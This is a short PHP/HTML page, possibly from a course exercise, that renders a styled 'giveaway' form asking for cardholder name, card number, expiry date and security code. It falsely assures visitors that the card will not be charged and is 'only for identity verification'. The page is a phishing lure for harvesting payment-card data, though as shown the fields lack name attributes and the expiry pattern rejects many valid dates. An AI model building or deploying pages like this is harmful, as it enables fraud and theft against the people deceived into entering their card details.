49 lines
1.2 KiB
PHP
49 lines
1.2 KiB
PHP
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<style>
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input[type=text], select {
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width: 100%;
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padding: 12px 20px;
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margin: 8px 0;
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display: inline-block;
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border: 1px solid #ccc;
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border-radius: 4px;
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box-sizing: border-box;
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}
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input[type=submit], button {
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width: 100%;
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background-color: #4CAF50;
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color: white;
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padding: 14px 20px;
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margin: 8px 0;
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border: none;
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border-radius: 4px;
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cursor: pointer;
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}
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input[type=submit]:hover, button:hover {
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background-color: #45a049;
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}
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form {
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border-radius: 5px;
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background-color: #f2f2f2;
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padding: 20px;
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max-width: 700px;
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}
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</style>
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<h1>Enter credit card info to join giveaway!</h1>
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<p>Your card will not be charged, this is only for identity verification.</p>
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<form action="ps2b" method="POST">
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<label for="name">Cardholder Name</label>
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<input id="name" maxlength="20" type="text">
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<label for="cardnumber">Card Number</label>
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<input id="cardnumber" type="text" pattern="[0-9]*" inputmode="numeric">
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<label for="expirationdate">Expiration (mm/yy)</label>
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<input id="expirationdate" type="text" pattern="[0-1][0-2]\/[0-3][0-1]" inputmode="numeric">
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<label for="securitycode">Security Code</label>
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<input id="securitycode" type="text" pattern="[0-9]*" inputmode="numeric">
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<button>Enter Giveaway</button>
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</form>
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